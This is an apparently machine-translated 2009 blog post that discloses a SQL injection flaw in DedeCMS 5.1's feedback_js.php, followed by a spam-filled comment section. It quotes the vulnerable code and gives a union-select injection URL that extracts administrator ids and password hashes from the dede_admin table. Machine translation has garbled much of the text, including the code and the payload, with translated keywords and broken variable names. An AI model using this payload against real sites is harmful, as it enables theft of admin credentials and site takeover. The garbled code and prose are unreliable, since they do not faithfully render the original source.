DEDECMS 5,1 feedback_js.php 0 Dies 0 dies-, DEDECMS, DEDECMS 5.1, feedback

DEDECMS 5,1 feedback_js.php 0 dies

Aquesta entrada va ser publicada el 11 octubre 2009

Autor: st0p Rainy'Fox
Reproduït si us plau indiqui la font: http://www.st0p.org http://bbs.erpangzi.com/

Aquesta vulnerabilitat es troba i Rainy'Fox també disponible en el cas magic_quotes_gpc = off

Versió de vulnerabilitat: Condomini articles 5.1
Això pot ser explotat per obtenir el compte d'administrador en el fons i xifrar el hash, hi ha llacunes arxiu més / feedback_js.php, els paràmetres filtrats de $ arcurl

  ......
 0 ; $ Urlindex = 0;
 empty ( $arcID ) ) if (empty ($ ARCID))
 {
	 $dlist -> dsql -> GetOne ( "Select id From `#@__cache_feedbackurl` where url=' $arcurl ' " ) ; $ Fila = $ dlist -> DSQL -> GetOne ("SELECT id FROM` # @ __ cache_feedbackurl `on url = '$ arcurl'");
        / / Aquí $ arcurl sense filtre
	 is_array ( $row ) ) $urlindex = $row [ 'id' ] ; if (is_array ($ row)) $ urlindex = $ fila ['id'];
       / / Presentar els resultats posen assignació de $ urlindex per a una consulta a la $ row ['id'], es pot construir sentències SQL en els sistemes operatius
 }
 empty ( $arcID ) && empty ( $urlindex ) ) exit ( ) ; if (empty ($ ARCID) && empty ($ urlindex)) exit ();
 / / Si $ ARCID està buit o $ urlindex sortida buida
 ......
 empty ( $arcID ) ) $wq = " urlindex = ' $urlindex ' " ; if (empty ($ ARCID)) $ wq = "urlindex = '$ urlindex'";
 / / $ ARCID és buida, just per sobre dels resultats de l'aplicació serà assignat a $ wq en les següents operacions realitzades.
 = " aid=' $arcID ' " ; else $ wq = "ajuda =" $ ARCID '";
  "select * from `#@__feedback` where $wq and ischeck='1' order by dtime desc" ; $ Cadena de consulta = "select * from` # @ __ `retroalimentació on $ wq i ischeck = '1 'ORDER BY dtime desc";
 Init ( ) ; $ Dlist -> init ();
 SetSource ( $querystring ) ; $ Dlist -> SetSource ($ cadena de consulta);
 ......

Mira l'ús de, bé, jo ús dos van tancar la unió

  http://st0p/dedecms51/plus/feedback_js.php?arcurl = 'union select "i de 1 = 2 union select id d'usuari 1,1,1, 3,1,3,3, persones amb discapacitat, 1,1,3 , 1,1,1,1,1 a dede_admin, on 1 = 1 union select * from dede_feedback, on 1 = 2 i'' = '"de dede_admin on'' ='

Per desgràcia, encara i Rainy'Fox aquest tipus de proves per trobar l'assumpte quan va arribar a dir pot al = magic_quotes_gpc en tant a través d'aquesta idea .... massa i D .. massa terrible, per aconseguir realment aquest xarxa del sector si el caos, un munt de programes per defecte en PHP magic_quotes_gpc està desactivat, es digui la seva banda pròpia fugida ... realment es pot aconseguir, que és el malson del programa PHP ...

Aprendre · Les arts marcials Trucs

356 Respostes a "DEDECMS 0 Dies 5,1 feedback_js.php"

Per хостинг el 19 novembre 2009 | Respondre
zel intiresno, Hvala
El per AKfour 7 de desembre 1, 2009 | Respondre
Em trobo avui aquí amb humilitat davant la tasca abans de [url = http://www.bawwgt.com] dofus kamas [/ url], agraït per la confiança que ha estat atorgada, conscient dels sacrificis dels nostres [url = http:// / www.bawwgt.com] barats kamas dofus [/ url]. Dono gràcies al president [url = http://www.bawwgt.com] el poder d'anivellament dofus [/ url] pel seu servei a [url = http://www . bawwgt.com] buy dofus kamas [/ url], així com la generositat i cooperació que ha demostrat en aquesta transició.
El per wsewtoexg el 3 desembre 2009 | Respondre
CMvNTO honoyhhectcq , [url = http://bqjmruocdqwf.com/ bqjmruocdqwf [/ url], [link = http://mdbdixbzaeau.com/] mdbdixbzaeau [/ link], http://njofsuttytxm.com/
Per tedy el 5 desembre 2009 | Respondre
Només 34 dies abans de Dofus 2.0 segon! Desembre estarà aquí després d'això podrem [url = http://www.bawwgt.com/fr] dofus kamas [/ url]. En [url = http://www.bawwgt.com / fr] dofus kamas moins chers [/ url] tots els jugadors descobriran una experiència completament nova de Dofus. [url = http://www.bawwgt.com/fr] Acheter des dofus kamas [/ url] han d'estar contents amb la informes i fòrums. Tot i així [url = http://www.bawwgt.com/fr] ACHAT dofus kamas [/ url], no ¡ ¯ s sempre alguns dels nostres jugadors estimats en els fòrums.
En comprar viagra en el 13 desembre 2009 | Respondre
aquesta és una notícia genial. Gràcies.
El per Seengart el 14 desembre 2009 | Respondre
eh ... l'estil informatiu ..
Per Natasha-web de 16 desembre 2009 | Respondre
Vdaka za zaujimavy Bloc
El ConradSimone pel 8 març 2012 | Respondre
Bé, això és l'amor indeed.Would molt interessant llegir una mica més d'això. Admirar la valuosa informació que ofereixen en els seus articles.
El Conrad de Simone